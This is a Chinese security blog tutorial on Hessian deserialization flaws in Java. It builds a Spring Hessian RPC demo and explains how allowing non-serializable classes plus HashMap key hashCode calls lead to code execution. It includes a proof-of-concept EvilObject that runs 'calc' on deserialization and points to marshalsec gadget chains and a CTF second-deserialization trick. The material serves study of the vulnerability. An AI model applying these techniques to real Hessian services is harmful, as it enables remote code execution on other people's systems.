文章目录
前言
总结自https://javasec.org/java-vuls/Hessian.html
pom.xml
8u111 + Hessian4.0.38
<!-- https://mvnrepository.com/artifact/com.caucho/hessian -->
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.38</version>
</dependency>
Spring联动Hessian使用
Server端
都是RPC协议,类似rmi,服务需要写接口和接口实现类,然后对外暴露URL
服务接口
package com.example.hessianspring.server;
public interface MyService {
String hello(String str);
}
服务实现类
实现类需要继承HessianServlet
package com.example.hessianspring.server;
import com.caucho.hessian.server.HessianServlet;
public class MyServiceImpl extends HessianServlet implements MyService {
@Override
public String hello(String str) {
return "hello! " + str;
}
}
SpringApp
SpringApp启动添加一个bean,注册服务、绑定URL,这里用到HessianServiceExporter
package com.example.hessianspring.server;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import org.springframework.remoting.caucho.HessianServiceExporter;
@SpringBootApplication
public class HessianSpringApplication {
public static void main(String[] args) {
SpringApplication.run(HessianSpringApplication.class, args);
}
@Bean(name = "/hessian")
public HessianServiceExporter serviceExporter(){
HessianServiceExporter exporter = new HessianServiceExporter();
exporter.setService(new MyServiceImpl());
exporter.setServiceInterface(MyService.class);
return exporter;
}
}
(该类已被弃用
.
Client端
新建HessianProxyFactory代理工厂,然后调用create在client代理实例化出服务类,就能调用方法了
package com.example.hessianspring.client;
import com.caucho.hessian.client.HessianProxyFactory;
import com.example.hessianspring.server.MyService;
public class Client {
public static void main(String[] args) throws Exception {
String url = "http://127.0.0.1:8080/hessian";
HessianProxyFactory factory = new HessianProxyFactory();
MyService myService = (MyService) factory.create(MyService.class, url);
System.out.println(myService.hello("hahaha"));
}
}
手动序列化和反序列化
Hessian提供了方法可以完成最简单的序列化和反序列化功能,自行封装方法,下面采用Hessian2Output
给Hessian2Output传入一个输出流,然后调用writeObject方法会把对象写入到输出流中,最后转换成bytes字节流即可
package com.example.hessianspring.utils;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
public class SerializableUtil {
public static byte[] manualSerialize(Object obj){
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
byte[] bytes = null;
try {
output.writeObject(obj);
output.flush();
bytes = baos.toByteArray();
}catch (Exception e){
e.printStackTrace();
}
return bytes;
}
public static Object manualUnserialize(byte[] bytes){
Object obj = null;
try {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input input = new Hessian2Input(bais);
obj = input.readObject();
}catch (Exception e){
e.printStackTrace();
}
return obj;
}
}
能序列化的类
在序列化的时候,Hessian支持实现Serializable接口的类,如果没有实现Serializable则抛错
序列化没有实现Serializable的类
上一步抛错只是在序列化的时候,而反序列化的时候没有,同时也有参数_isAllowNonSerializable
开启就能序列化没有实现Serializable的类
需要序列化恶意对象时,就可以在Hessian2Output类打开这个参数从而实现序列化所有类了,无需反射,直接Hessian2Output自带方法可以修改
测试成功序列化
package com.example.hessianspring.test;
import com.example.hessianspring.utils.NonSerializableUtil;
public class NonSerializableTest {
public static void main(String[] args){
try {
NonSerialize n = new NonSerialize("a");
byte[] serialize = NonSerializableUtil.manualSerialize(n);
NonSerialize obj = (NonSerialize)NonSerializableUtil.manualUnserialize(serialize);
System.out.println(obj.a);
} catch (Exception e) {
e.printStackTrace();
}
}
}
class NonSerialize{
String a;
public NonSerialize(String a) {
this.a = a;
}
}
反序列化漏洞原理
在反序列化时,会通过标志位判断对象的类型,然后调用对应类的反序列化器
对应方法在SerializerFactory.loadDeserializer()
对于Map类:会调用反序列化器的readMap方法进行反序列化操作,默认反序列化出来的是HashMap类
具体会调用到Map的put方法写入键值对
而HashMap的put方法就会调用键自身的hashCode方法来判断是否有重复,进而就造成了漏洞风险,这里不再赘述
对于TreeMap还有equals和compareTo方法可以触发
触发点总结
- Map类的键
- 入口hashCode/equals/compareTo
另外就是不能有transient修饰的属性,不会序列化
测试demo
工具类
package com.example.hessianspring.utils;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
public class NonSerializableUtil {
public static byte[] manualSerialize(Object obj){
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
byte[] bytes = null;
try {
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(obj);
output.flush();
bytes = baos.toByteArray();
}catch (Exception e){
e.printStackTrace();
}
return bytes;
}
public static Object manualUnserialize(byte[] bytes){
Object obj = null;
try {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input input = new Hessian2Input(bais);
obj = input.readObject();
}catch (Exception e){
e.printStackTrace();
}
return obj;
}
}
主类
重写个hashCode测试一下
package com.example.hessianspring.test;
import com.example.hessianspring.utils.NonSerializableUtil;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
public class ManualRCETest {
public static void main(String[] args){
Map map = new HashMap();
map.put(new EvilObject(), 1);
byte[] b = NonSerializableUtil.manualSerialize(map);
NonSerializableUtil.manualUnserialize(b);
}
}
class EvilObject {
@Override
public int hashCode() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
return 0;
}
}
POP链
hashCode:22, EvilObject (com.example.hessianspring.test)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
marshalsec利用链
五条,具体看marshalsec源码
ROME二次反序列化
hfctf2022-ezchain,ROME1.7不出网,根据y4师傅的研究可以用java/security/SignedObject.java
来完成二次反序列化
参考
marshalsec.pdf
https://javasec.org/java-vuls/Hessian.html
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/125925629
版权声明:本文为原创,转载时须注明出处及本声明